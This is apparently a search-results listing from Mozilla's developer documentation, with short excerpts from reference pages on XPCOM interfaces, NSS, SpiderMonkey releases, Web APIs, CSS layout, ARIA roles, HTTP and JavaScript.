normally it provide some functionality that is required from lots of places such as looking up preference settings, creating new windows, locating files, displaying prompt or password dialog boxes and so on.
... how do i watch/intercept a load before it happens?
...watch for changes in nsiuricontentlistener::onstarturiopen().
...And 17 more matches
JavaScript-DOM Prototypes in Mozilla
in the case where the c++ object has class info (nsiclassinfo), the jsobject is a more or less empty jsobject which is not really that special.
... var obj = document.images[0]; here, obj will not really have any properties (except for the standard jsobject properties such as constructor, and the non-standard __parent__, __proto__, etc.), all the dom functionality of obj comes from obj's prototype (obj.__proto__) that xpconnect sets up when exposing the first image in document to javascript.
... all those properties come from the interfaces that the c++ image object (nshtmlimageelement) implements and chooses to expose to xpconnect through the object's class info.
...And 17 more matches
Localizing with Mozilla Translator
if you are starting a new localization, all strings will be marked as new or updated.mt puts a fuzzy flag on each flag and saves it in its database.
... finally, you commit your changes outside of mt, using your favorite repository tools.
... migrating contents when the directory structure changes overall, if you are a ''good'' mt user and you do things like: checking "keep original" flags for strings not needing translation, instead of just leaving the translation empty struggling to get empty lists when running "untranslated strings" and "view fuzzy" if you are up to date in localization regularly running qa checks and trying to minimize them.
...And 17 more matches
QA phase
since such is the case, this part of the guide may not be entirely applicable to you.
... to create and configure this file, follow these instructions: until the fix for bug 1063880 lands on mozilla-aurora and mozilla-beta when building language packs against those two trees you should: remove ac_add_options --disable-compile-environment from .mozconfig in step 3 use ./mach build config after step 4 update the mozilla source code: $ cd mozilla-aurora $ hg pull -u enter the following command to create the .mozconfig file: $ nano -w .mozconfig enter the following lines in your .mozconfig file: mk_add_options moz_objdir=@topsrcdir@/../firefox-build ac_add_options --disable-compile-environment ac_add_options --with-l10n-base=../l10n-central # path relati...
...ve to moz_objdir ac_add_options --enable-application=[browser or mail] you will need to specify which application you're localizing in the fourth line (e.g., for firefox, that's browser, thunderbird would be mail).
...And 17 more matches
Translation phase
this is where the technical aspect of the process begins to divide.
...each group of projects employs a different type of l10n tool for, you guessed it, localizing the projects.
...along the way we'll point you to basic, technical tutorials on localizing for that particular project group.
...And 17 more matches
Refcount tracing and balancing
refcount tracing and balancing are advanced techniques for tracking down leak of refcounted objects found with bloatview.
... the first step is to run firefox with refcount tracing enabled, which produces one or more log files.
... first, you select one of three environment variables to choose what kind of logging you want.
...And 17 more matches
NSS 3.35 release notes
introduction the nss team has released network security services (nss) 3.35, which is a minor release.
...this includes a large number of changes since 3.34, which supported only draft -18.
... for the sslsignaturescheme enum, the enumerated values ssl_sig_rsa_pss_sha* are deprecated in response to a change in tls 1.3.
...And 17 more matches
NSS Developer Tutorial
nss coding style formatting line length should not exceed 80 characters.
... a data buffer is usually represented as: unsigned char *data; unsigned int len; the buffer pointer is unsigned char *, as opposed to void *, so we can perform pointer arithmetic without casting.
... use char * only if the data is interpreted as text characters.
...And 17 more matches
PKCS11 Implement
installing modules and informing the user of changes in the cryptographic modules settings.
...(this is more restrictive than pkcs 2.0 and may change in future versions of nss.).
...if the ckf_removable_device flag is not set, nss uses that token information without checking again.
...And 17 more matches
Necko walkthrough
nsdocshell as an example client of the nsihttpchannel api nsdocshell::loaduri(string) create nsiuri from string nsdocshell::loaduri(nsiuri) creates 2 nsiinputstream for read response from; passes them with uri to ...
... nsdocshell::internalload nsdocshell::douriload opens the nsichannel for the uri (ns_newchannel) if "http:", it will be an nsihttpchannel nsdocshell::dochannelload nsuriloader::openuri passes an nsistreamlistener pointer, 'loader' to nsuriloader::openchannel - it creates an nsdocumentopeninfo object, which implements nsistreamlistener, i.e.
... has onstartrequest, onstoprequest, ondataavailable, the three functions in which channel responses are received asynchronously.
...And 17 more matches
SpiderMonkey 1.8.8
you can download full source code here: insert-actual-link-when-the-release-happens (md5 checksum: insert-actual-hash-here).
... please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup.
...spidermonkey 1.8.8 includes a just-in-time compiler (jit) that compiles javascript to machine code, for a significant speed increase.
...And 17 more matches
SpiderMonkey 31
please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup.
... spidermonkey 31 includes a just-in-time compiler (jit) that compiles javascript to machine code, for a significant speed increase.
... it is supported on x86, x86_64, and arm architectures.
...And 17 more matches
SpiderMonkey 38
please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup.
... spidermonkey 38 includes a just-in-time compiler (jit) that compiles javascript to machine code, for a significant speed increase.
... it is supported on x86, x86_64, and arm architectures.
...And 17 more matches
History Service Design
objectives the primary objectives of the new history service implementation in places are: improve access to browsing history allow association of useful metadata with urls flexible query system for both end-users and add-ons developers clean architecture for ease of code reuse and maintainability the most known and visible feature of history are views.
...each visit is associated with a favicon, to allow for better recognizability and groupable by common timeframes or domains.
... a locationbar intelligent algorithm (aka: the awesomebar) allows searchs through bookmarks, history, keywords (and much more) detaching the user from the old long searches through tree views.
...And 17 more matches
nsIBrowserHistory
inherits from: nsiglobalhistory2 last changed in gecko 22.0 (firefox 22.0 / thunderbird 22.0 / seamonkey 2.19) implemented by: @mozilla.org/browser/nav-history-service;1.
...markpageasfollowedlink(in nsiuri auri); obsolete since gecko 22.0 void markpageastyped(in nsiuri auri); obsolete since gecko 22.0 void registeropenpage(in nsiuri auri); obsolete since gecko 9.0 void removeallpages(); void removepage(in nsiuri auri); void removepages([array, size_is(alength)] in nsiuri auris, in unsigned long alength, in boolean adobatchnotify); void removepagesbytimeframe(in long long abegintime, in long long aendtime); void removepagesfromhost(in autf8string ahost, in boolean aentiredomain); void removevisitsbytimeframe(in long long abegintime, in long long aendtime); void unregisteropenpage(in nsiuri auri); obsolete since gecko 9.0 note: the markpageasfollowedlink and markpageasty...
...you should use moziasynchistory.updateplaces() instead.
...And 17 more matches
nsIContentPrefService
use the asynchronous interface nsicontentprefservice2 instead.
... last changed in gecko 2 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) inherits from: nsisupports implemented by: @mozilla.org/content-pref/service;1.
...useful for accessing and manipulating preferences in ways that are caller-specific or for which there is not yet a generic method, although generic functionality useful to multiple callers should generally be added to this unfrozen interface.
...And 17 more matches
nsIFocusManager
1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 5.0 (firefox 5.0 / thunderbird 5.0 / seamonkey 2.2) implemented by: @mozilla.org/focus-manager;1 as a service: var focusmanager = components.classes["@mozilla.org/focus-manager;1"] .getservice(components.interfaces.nsifocusmanager); method overview void clearfocus(in nsidomwindow awindow); void contentremoved(in nsidocument adocument, in nsicontent aelement); native code only!
...setting the activewindow raises it, and focuses the current child window's current element, if any.
... focusedwindow nsidomwindow the child window within the activewindow that is focused.
...And 17 more matches
nsITreeView
inherits from: nsisupports last changed in gecko 22 (firefox 22 / thunderbird 22 / seamonkey 2.19) implementing a nsitreeview in lieu of dom methods for tree creation can improve performance dramatically, and removes the need to make changes to the tree manually when changes to the database occur.
...long row, in nsitreecolumn col); boolean isselectable(in long row, in nsitreecolumn col); boolean isseparator(in long index); boolean issorted(); void performaction(in wstring action); void performactiononcell(in wstring action, in long row, in nsitreecolumn col); void performactiononrow(in wstring action, in long row); void selectionchanged(); void setcelltext(in long row, in nsitreecolumn col, in astring value); void setcellvalue(in long row, in nsitreecolumn col, in astring value); void settree(in nsitreeboxobject tree); void toggleopenstate(in long index); attributes attribute type description rowcount long the total number of rows in the tree (includ...
...to get the behavior where drops are only allowed on items, such as the mailnews folder pane, always return false when the orientation is not drop_on.
...And 17 more matches
Using the clipboard
this component implements the interface nsiclipboardhelper, which has a function copystring that can be used to copy a string.
...for other types of data, such as urls or images, you will need to use a more complex method.
...the third is an object which is used to transfer the data from the first object to the clipboard.
...And 17 more matches
Document.evaluate() - Web APIs
WebAPIDocumentevaluate
it will be used to resolve prefixes within the xpath itself, so that they can be matched with the document.
...use named constant properties, such as xpathresult.any_type, of the xpathresult constructor, which correspond to integers from 0 to 9.
...null is the most common and will create a new xpathresult example var headings = document.evaluate("/html/body//h2", document, null, xpathresult.any_type, null); /* search the document for all h2 elements.
...And 17 more matches
HTMLImageElement.alt - Web APIs
perhaps the most important reason to use the alt tag is to support accessibility, as the alt text may be used by screen readers and other assistive technologies to help differently-abled users make full use of your content.
... it will be read aloud or sent to the touch device, for example, to support visually impaired users.
... think of it like this: when choosing alt strings for your images, imagine what you would say when reading the page to someone over the phone without mentioning that there's an image on the page.
...And 17 more matches
HTMLImageElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlimageelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle"...
...And 17 more matches
MSGestureEvent - Web APIs
the msgestureevent is a proprietary interface specific to internet explorer and microsoft edge which represents events that occur due to touch gestures.
... events using this interface include msgesturestart, msgestureend, msgesturetap, msgesturehold, msgesturechange, and msinertiastart.
... msgestureevent derives from uievent, which in turn derives from event.
...And 17 more matches
Recording a media element - Web APIs
on the left is a start button and a <video> element which displays the video preview; this is the video the user's camera sees.
... <div class="right"> <div id="stopbutton" class="button"> stop </div> <h2>recording</h2> <video id="recording" width="160" height="120" controls></video> <a id="downloadbutton" class="button"> download </a> </div> on the right we see a stop button and the <video> element which will be used to play back the recorded video.
... notice that the playback panel doesn't have autoplay set (so the playback doesn't start as soon as media arrives), and it has controls set, which tells it to show the user controls to play, pause, and so forth.
...And 17 more matches
RTCRemoteOutboundRtpStreamStats.localId - Web APIs
the rtcremoteoutboundrtpstreamstats dictionary's localid property is a string which can be used to identify the rtcinboundrtpstreamstats object whose remoteid matches this value.
... together, these two objects provide statistics about the inbound and outbound sides of the same synchronization source (ssrc).
... syntax let localid = rtcremoteoutboundrtpstreamstats.localid; value a domstring which can be compared to the value of an rtcinboundrtpstreamstats object's remoteid property to see if the two represent statistics for each of the two sides of the same set of data received by the local peer.
...And 17 more matches
Using the Resource Timing API - Web APIs
an application can use the timing metrics to determine, for example, the length of time it takes to fetch a specific resource such as an xmlhttprequest, <svg>, image, script, etc.).
... the interface's properties create a resource loading timeline with high-resolution timestamps for network events such as redirect start and end times, fetch start, dns lookup start and end times, response start and end times, etc.
... the interface also includes other properties that provide data about the size of the fetched resource as well as the type of resource that initiated the fetch.
...And 17 more matches
WebGLRenderingContext - Web APIs
should match the width of the canvas element associated with this context.
...should match the height of the canvas element associated with this context.
... webglrenderingcontext.blendfunc() defines which function is used for blending pixel arithmetic.
...And 17 more matches
WritableStream - Web APIs
inside this function it calls the stream's getwriter() method, which returns an instance of writablestreamdefaultwriter.
... a foreach() call is used to write each chunk of the string to the stream.
... finally, write() and close() return promises that are processed to deal with success or failure of chunks and streams.
...And 17 more matches
ARIA: feed role - Accessibility
a feed is a dynamic scrollable list of articles in which articles are added to or removed from either end of the list as the user scrolls.
... a feed enables screen readers to use the browse mode reading cursor to both read and scroll through a stream of rich content that may continue scrolling infinitely by loading more content as the user reads.
...the list establishes an interoperability contract between the web page and assistive technologies that governs scroll interactions so that assistive technology users can read articles, jump forward and backward by article, and reliably trigger new articles to load while in reading mode.
...And 17 more matches
ARIA: button role - Accessibility
<div id="savechanges" tabindex="0" role="button" aria-pressed="false">save</div> the above example creates a simple button which is first in the focus order, though <button> or <input> with type="button" should be used for buttons: <button id="savechanges">save</button> note: if using role="button" instead of the semantic <button> or <input type="button"> elements, you will need to make the element focusable and have to define event handlers for click and keydown events, including the enter and space ...
...a button is a widget used to perform actions such as submitting a form, opening a dialog, cancelling an action, or performing a command such as inserting a new record or displaying information.
... a common convention to inform users a button will launch a dialog is to append "…" (ellipsis) to the button's label, e.g., "save as…".
...And 17 more matches
Operable - Accessibility
to achieve aaa conformance, all functionality should be accessible using keyboard controls — with no exceptions.
... see ui controls and building keyboard accessibility back in 2.1.4 character key shortcuts (a) added in 2.1 if a single character key shortcut exists, then at least one of the following is true: single character key shortcuts can be turned off, remapped or are only active when the relevant user interface component is in focus.
... understanding character key shortcuts note: also see the wcag description for guideline 2.1 keyboard accessible: make all functionality available from a keyboard.
...And 17 more matches
Basic Concepts of grid layout - CSS: Cascading Style Sheets
this sets the grid to the specified pixel which fits to the layout you desire.
...features such as adding “as many columns that will fit into a container” are included.
... control of overlapping content more than one item can be placed into a grid cell or area and, they can partially overlap each other.
...And 17 more matches
Realizing common layouts using CSS Grid Layout - CSS: Cascading Style Sheets
to round off this set of guides to css grid layout, i am going to walk through a few different layouts, which demonstrate some of the different techniques you can use when designing with grid layout.
...as you can see from this set of examples, there is often more than one way to achieve the result you want with grid layout.
... choose the method you find most helpful for the problems that you are solving and the designs that you need to implement.
...And 17 more matches
justify-content - CSS: Cascading Style Sheets
, the last is flush with the end */ justify-content: space-around; /* distribute items evenly items have a half-size space on either end */ justify-content: space-evenly; /* distribute items evenly items have equal space around them */ justify-content: stretch; /* distribute items evenly stretch 'auto'-sized items to fit the container */ /* overflow alignment */ justify-content: safe center; justify-content: unsafe center; /* global values */ justify-content: inherit; justify-content: initial; justify-content: unset; values start the items are packed flush to each other...
... end the items are packed flush to each other toward the end edge of the alignment container in the main axis.
... flex-start the items are packed flush to each other toward the edge of the alignment container depending on the flex container's main-start side.
...And 17 more matches
place-content - CSS: Cascading Style Sheets
the align-content and justify-content properties) in a relevant layout system such as grid or flexbox.
...ce-content: flex-start center; place-content: flex-end center; /* baseline alignment */ /* justify-content does not take baseline values */ place-content: baseline center; place-content: first baseline space-evenly; place-content: last baseline right; /* distributed alignment */ place-content: space-between space-evenly; place-content: space-around space-evenly; place-content: space-evenly stretch; place-content: stretch space-evenly; /* global values */ place-content: inherit; place-content: initial; place-content: unset; the first value is the align-content property value, the second the justify-content one.
... values start the items are packed flush to each other toward the start edge of the alignment container in the appropriate axis.
...And 17 more matches
Making content editable - Developer guides
by using some javascript event handlers, you can transform your web page into a full and fast rich text editor.
... note: in firefox 63 beta/dev edition, some of the rich-text editing features have been disabled by default, for better cross-browser compatibility.
... here's a simple example which creates a <div> element whose contents the user can edit.
...And 17 more matches
HTML attribute: pattern - HTML: Hypertext Markup Language
the pattern attribute specifies a regular expression the form control's value should match.
... if a non-null value doesn't conform to the constraints set by the pattern value, the validitystate object's read-only patternmismatch property will be true.
... the pattern attribute is an attribute of the text, tel, email, url, password, and search input types.
...And 17 more matches
Connection management in HTTP/1.x - HTTP
in its infancy, http used a single model to handle such connections.
... these connections were short-lived: a new one created each time a request needed sending, and closed once the answer had been received.
... this simple model held an innate limitation on performance: opening each tcp connection is a resource-consuming operation.
...And 17 more matches
Content-Security-Policy - HTTP
directives fetch directives fetch directives control the locations from which certain resource types may be loaded.
... child-src defines the valid sources for web workers and nested browsing contexts loaded using elements such as <frame> and <iframe>.
... instead of child-src, if you want to regulate nested browsing contexts and workers, you should use the frame-src and worker-src directives, respectively.
...And 17 more matches
Iterators and generators - JavaScript
« previousnext » processing each of the items in a collection is a very common operation.
... iterators and generators bring the concept of iteration directly into the core language and provide a mechanism for customizing the behavior of for...of loops.
... for details, see also: iteration_protocols for...of function* and generator yield and yield* iterators in javascript an iterator is an object which defines a sequence and potentially a return value upon its termination.
...And 17 more matches
Loops and iteration - JavaScript
this chapter of the javascript guide introduces the different iteration statements available to javascript.
...(note that it's possible that number could be zero!) the various loop mechanisms offer different ways to determine the start and end points of the loop.
...it checks that i is less than the number of options in the <select> element, performs the succeeding if statement, and increments i by after each pass through the loop.
...And 17 more matches
Unicode property escapes - JavaScript
unicode property escapes regular expressions allows for matching characters based on their unicode properties.
... a character is described by several properties which are either binary ("boolean-like") or non-binary.
... for instance, unicode property escapes can be used to match emojis, punctuations, letters (even letters from specific languages or scripts), etc.
...And 17 more matches
Text formatting - JavaScript
« previousnext » this chapter introduces how to work with strings and text in javascript.
...each element in the string occupies a position in the string.
... caution: if you edit this page, do not include any characters above u+ffff, until mdn bug 857438 is fixed ( https://bugzilla.mozilla.org/show_bug.cgi?id=857438 ).
...And 17 more matches
String.prototype.replaceAll() - JavaScript
as of august 2020 the replaceall() method is supported by firefox but not by chrome.
... it will become available in chrome 85.
... the replaceall() method returns a new string with all matches of a pattern replaced by a replacement.
...And 17 more matches
Paths - SVG: Scalable Vector Graphics
WebSVGTutorialPaths
each of the commands is instantiated (for example, creating a class, naming and locating it) by a specific letter.
...the first command is the "move to" or m, which was described above.
...cubic béziers take in two control points for each point.
...And 17 more matches
Unconventional controls - Game development
previous overview: control mechanisms having different control mechanisms in your game helps reach broader audiences.
...smart tvs are shipped with remote controls, which can be used to control your games if you know how.
...interestingly enough, the first captain rogers game (asteroid belt of sirius) was optimized for low-end, small-screen, cheap smartphones running firefox os, so you can see the difference three years can make — you can read the whole story in our building games for firefox os tv hacks post.
...And 16 more matches
Handling different text directions - Learn web development
english or french) better than right-to-left languages (such as arabic).
... in recent years however, css has evolved in order to better support different directionality of content, including right-to-left but also top-to-bottom content (such as japanese) — these different directionalities are called writing modes.
...the writing-mode property lets us switch from one writing mode to another.
...And 16 more matches
Styling tables - Learn web development
this article provides a guide to making html tables look good, with some specific table styling techniques highlighted.
...some rows removed for brevity <tr> <th scope="row">the stranglers</th> <td>1974</td> <td>17</td> <td>no more heroes</td> </tr> </tbody> <tfoot> <tr> <th scope="row" colspan="2">total albums</th> <td colspan="2">77</td> </tr> </tfoot> </table> the table is nicely marked up, easily styleable, and accessible, thanks to features such as scope, <caption>, <thead>, <tbody>, etc.
...to do this, add the following css to your style.css file: /* spacing */ table { table-layout: fixed; width: 100%; border-collapse: collapse; border: 3px solid purple; } thead th:nth-child(1) { width: 30%; } thead th:nth-child(2) { width: 20%; } thead th:nth-child(3) { width: 15%; } thead th:nth-child(4) { width: 35%; } th, td { padding: 20px; } the most important parts to note are as follows: a table-layout value of fixed is generally a good idea to set on your table, as it makes the table behave a bit more predictably by default.
...And 16 more matches
What software do I need to build a website? - Learn web development
in this article we lay out which software components you need when you're editing, uploading, or viewing a website.
... prerequisites: you should already know the difference between webpages, websites, web servers, and search engines.
... objective: learn which software components you need if you want to edit, upload, or view a website.
...And 16 more matches
How the Web works - Learn web development
a simplified diagram of how they interact might look like this: clients are the typical web user's internet-connected devices (for example, your computer connected to your wi-fi, or your phone connected to your mobile network) and web-accessing software available on those devices (usually a web browser like firefox or chrome).
...when a client device wants to access a webpage, a copy of the webpage is downloaded from the server onto the client machine to be displayed in the user's web browser.
...on one end of the road is the client, which is like your house.
...And 16 more matches
Ember interactivity: Events, classes and state - Learn web development
a deeper understanding of modern javascript features (such as classes, modules, etc), will be extremely beneficial, as ember makes heavy use of them.
... when beginning to think about interactivity, it's good to declare what each component's goals and responsibilities are.
... in the below sections we’ll do this for each component, and then walk you through how the functionality can be implemented.
...And 16 more matches
Styling Vue components with CSS - Learn web development
vue has three common approaches to styling apps: external css files.
... to help familiarize you with each one, we'll use a combination of all three to give our app a nicer look and feel.
... while this tutorial will not be using such tools, it's good to know that when including such code in the assets folder it will be processed automatically.
...And 16 more matches
Theme concepts
themes developed using the webextensions api in firefox enable you to change the look of the browser by adding images to the header area of the firefox browser; this is the area behind the menu bar, toolbars, address bar, search bar, and tab strip.
... a theme and browser extension functionality cannot be defined in one package, such as including a theme to complement an extension.
... static theme approaches there are two approaches you can take to theming the header area of firefox: using a single image or using multiple images.
...And 16 more matches
Contributing to the Mozilla code base
if you have any difficulties getting involved or finding answers to your questions, please come and ask your questions in our chatroom, where we can help you get started.
... we know even before you start contributing that getting set up to work on firefox and finding a bug that's a good fit for your skills can be a challenge.
...even with no assignee, it is polite to check if someone has recently commented that they're looking at fixing the issue.
...And 16 more matches
PBackground
pbackground is a mechanism available since gecko 30 (see bug 956218) that builds on top of ipdl to provide a solution to common problems that arise when handling multiple threads in the chrome process, for example communication between workers and multiple child processes and other parent-process worker threads.
...ipdl protocols are used to specify how the chrome and content processes talk to each other and verify that a content process is "following the rules".
... when used at run time, every protocol has two actors — a parent and a child.
...And 16 more matches
NSS Tools certutil
it can also list, generate, modify, or delete certificates within the cert8.db file and create or change the password, generate new public and private key pairs, display the contents of the key database, or delete key pairs within the key3.db file.
...each command takes one option.
... each option may take zero or more arguments.
...And 16 more matches
SpiderMonkey Build Documentation
non-developer (optimized) build use these steps if you want to install spidermonkey for production use or run performance benchmarks.
... note: if you are on mac and getting an error similar to "checking whether the c compiler (gcc-4.2 ) works...
...you can test it with dist/bin/js --help, which displays a help page.
...And 16 more matches
JS_SetOptions
syntax uint32 js_setoptions(jscontext *cx, uint32 options); name type description cx jscontext * a context on which to set options.
... mxr id search for jsoption_extra_warnings jsoption_werror convert warnings to errors.
... mxr id search for jsoption_werror jsoption_varobjfix make js_evaluatescript() use the last object on its obj param's scope chain (that is, the global object) as the ecma "variables object".
...And 16 more matches
SpiderMonkey 24
please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup.
... (this change was motivated by garbage collector improvements, which lean quite heavily on c++'s support for raii through constructors and destructors.) if you are compiling with microsoft's visual studio, note that the minimum supported version is msvc10/2010: msvc8/9 support has been dropped.
... spidermonkey 24 includes a just-in-time compiler (jit) that compiles javascript to machine code, for a significant speed increase.
...And 16 more matches
A Web PKI x509 certificate primer
in this document we will be referring to the current standard in use for web pki: x509 v3, which is described in detail in rfc 5280.
...the extensions define extra properties of the certificate such as extra attributes of the certificate or constraints on the use of the certificate.
... the attributes of the certificates in the verification path have valid parameters for that verification (for example the validity period of all the certificates are valid for the time the verification is being done) revocation checks are considered ok for that particular validation.
...And 16 more matches
Preface
though the emphasis is on the practical steps you take to make your c++ code into a component that can be used in gecko, we hope that these steps will also give us an occasion to discuss all of the tools, techniques, and technologies that make up xpcom.
...for example, the introduction includes a discussion of components and what they are, and the first chapter - in which you compile the basic code and register it with mozilla - prompts a discussion of the relationship between components and modules, of xpcom interfaces, and of the registration process in general.
... the top of each chapter provides a list of the major topics covered.
...And 16 more matches
Interfacing with the XPCOM cycle collector
this is the idle stage of the collector's operation, in which special variants of nsautorefcnt register and unregister themselves very rapidly with the collector, as they pass through a "suspicious" refcount event (from n+1 to n, for nonzero n).
...in this stage the collector repeatedly asks each candidate for a singleton cycle-collection helper class, and if that helper exists, the collector asks the helper to describe the candidate's (owned) children.
... this way the collector builds a picture of the ownership subgraph reachable from suspicious objects.
...And 16 more matches
mozIThirdPartyUtil
netwerk/base/public/mozithirdpartyutil.idlscriptable utility functions for determining whether a given uri, channel, or window hierarchy is third party with respect to a known uri.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview boolean isthirdpartychannel(in nsichannel achannel, [optional] in nsiuri auri); boolean isthirdpartyuri(in nsiuri afirsturi, in nsiuri aseconduri); boolean isthirdpartywindow(in nsidomwindow awindow, [optional] in nsiuri auri); methods isthirdpartychannel() determine whether the given channel and its content window hierarchy is third party.
... this is done as follows: if achannel is an nsihttpchannel and has the 'forceallowthirdpartycookie' property set, then: if auri is null, return false.
...And 16 more matches
nsIMsgIncomingServer
inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method overview void clearallvalues(); void cleartemporaryreturnreceiptsfilter(); void closecachedconnections(); void configuretemporaryfilters(in nsimsgfilterlist filterlist); void configuretemporaryreturnreceiptsfilter(in nsimsgfilterlist filterlist); obsolete since gecko 1.8 void displayofflinemsg(in nsimsgwindow awindow); boolean equals(in nsimsgincomingserver server); void forgetpassword(); void forgetsessionpassword(); astring generateprettynameformigration(); boolean getboolattribute(in string name); boolean getboolvalue(in s...
...tring attr); acstring getcharattribute(in string name); acstring getcharvalue(in string attr); nsilocalfile getfilevalue(in string relpref, in string abspref); nsimsgfilterlist getfilterlist(in nsimsgwindow amsgwindow); long getintattribute(in string name); long getintvalue(in string attr); nsimsgfolder getmsgfolderfromuri(in nsimsgfolder afolderresource, in acstring auri); void getnewmessages(in nsimsgfolder afolder, in nsimsgwindow amsgwindow, in nsiurllistener aurllistener); acstring getpasswordwithui(in astring apromptstring, in astring aprompttitle, in nsimsgwindow amsgwindow, out boolean okayvalue); astring getunicharattribute(in string name); astring getunicharvalue(in string attr); boolean isnewhdrduplicate(in nsimsgdbhdr anewhdr); void onuserorhostnamecha...
...nged(in acstring oldname, in acstring newname); void performbiff(in nsimsgwindow amsgwindow); void performexpand(in nsimsgwindow amsgwindow); void removefiles(); void setboolattribute(in string name, in boolean value); void setboolvalue(in string attr, in boolean value); void setcharattribute(in string name, in acstring value); void setcharvalue(in string attr, in acstring value); void setdefaultlocalpath(in nsilocalfile adefaultlocalpath); void setfilevalue(in string relpref, in string abspref, in nsilocalfile avalue); void setfilterlist(in nsimsgfilterlist afilterlist); void setintattribute(in string name, in long value); void setintvalue(in string attr, in long value); void setunicharattribute(in string name, in astring value); void setunicharvalue(in string at...
...And 16 more matches
Performance
transactions there is overhead associated with each transaction.
...when transactions are committed, sqlite does journaling which requires syncing data to disk.
...the asynchronous writes discussed below removes most of the immediate penalty of a commit, so you will not notice the problem as much.
...And 16 more matches
Getting Started Guide
clients don't get to know much about the implementation of any such object.
...each interface is (at least conceptually) separately `reference counted'.
... a reference through which you will call addref and release is called an owning reference.
...And 16 more matches
Xptcall Porting Status
status status platform contributors and <font color="red">?</font> possible contributors notes <font color="white">done</font> win32 x86 john bandhauer <jband@netscape.com> win32 <font color="white">done</font> linux x86 john bandhauer <jband@netscape.com> ulrich drepper <drepper@cygnus.com> unix <font color="white">done</font> freebsd and netbsd x86 christoph toshok <toshok@hungry.com>, john bandhauer <jband@netscape.com> unix (same as linux 86 code) <font color="white">done</font> bsd/os x86 bert driehuis <bert_driehuis@nl.compuware.com> unix (same as linux 86 code) bert contributed patches that *should* do the right thing for all the unixish-x86...
...he notes that the vtbl scheme is different.
... he is hoping that others will help test the changes using these two compilers on the various platforms where this same code is used.
...And 16 more matches
Thunderbird Configuration Files
this will display a list of used preferences, as well as a search bar at the top.
... double-click on a preference to change its value.
...there are three files you should know about: userchrome.css used to change the appearance of the browser.
...And 16 more matches
Edit fonts - Firefox Developer Tools
they are used by a descendant of the inspected element, for example, when it is a container for other elements which have text content with fonts applied.
... fonts editor firefox 63 adds the font editor — a new area below "fonts used" with additional controls for editing the fonts’ characteristics.
... for standard (static) fonts, you will be able to change the settings listed below size the font-size for the inspected element.
...And 16 more matches
Responsive Design Mode - Firefox Developer Tools
the most obvious factor here is screen size, but there are other factors as well, including the pixel density of the display and whether it supports touch.
... screen size - you can edit the width and height values to change the device size by editing a number directly or using the up and down keys to increase or decrease the value by 1 pixels on each keypress or hold and shift to change the value by 10.
... the mouse wheel changes the size values by 1 pixel at a time you can also change the device's screen size by grabbing the bottom-right corner of the viewport and dragging it to the size you want.
...And 16 more matches
AudioParam - Web APIs
the web audio api's audioparam interface represents an audio-related parameter, usually a parameter of an audionode (such as gainnode.gain).
... an audioparam can be set to a specific value or a change in value, and can be scheduled to happen at a specific time and following a specific pattern.
... there are two kinds of audioparam, a-rate and k-rate parameters: an a-rate audioparam takes the current audio parameter value for each sample frame of the audio signal.
...And 16 more matches
Basic animations - Web APIs
in this chapter we will take a look at how to do some basic animations.
... save the canvas state if you're changing any setting (such as styles, transformations, etc.) which affect the canvas state and you want to make sure the original state is used each time a frame is drawn, you need to save that original state.
... scheduled updates first there's the window.setinterval(), window.settimeout(), and window.requestanimationframe() functions, which can be used to call a specific function over a set period of time.
...And 16 more matches
HTMLImageElement.srcset - Web APIs
the htmlimageelement property srcset is a string which identifies one or more image candidate strings, separated using commas (,) each specifying image resources to use under given circumstances.
... each image candidate string contains an image url and an optional width or pixel density descriptor that indicates the conditions under which that candidate should be used instead of the image specified by the src property.
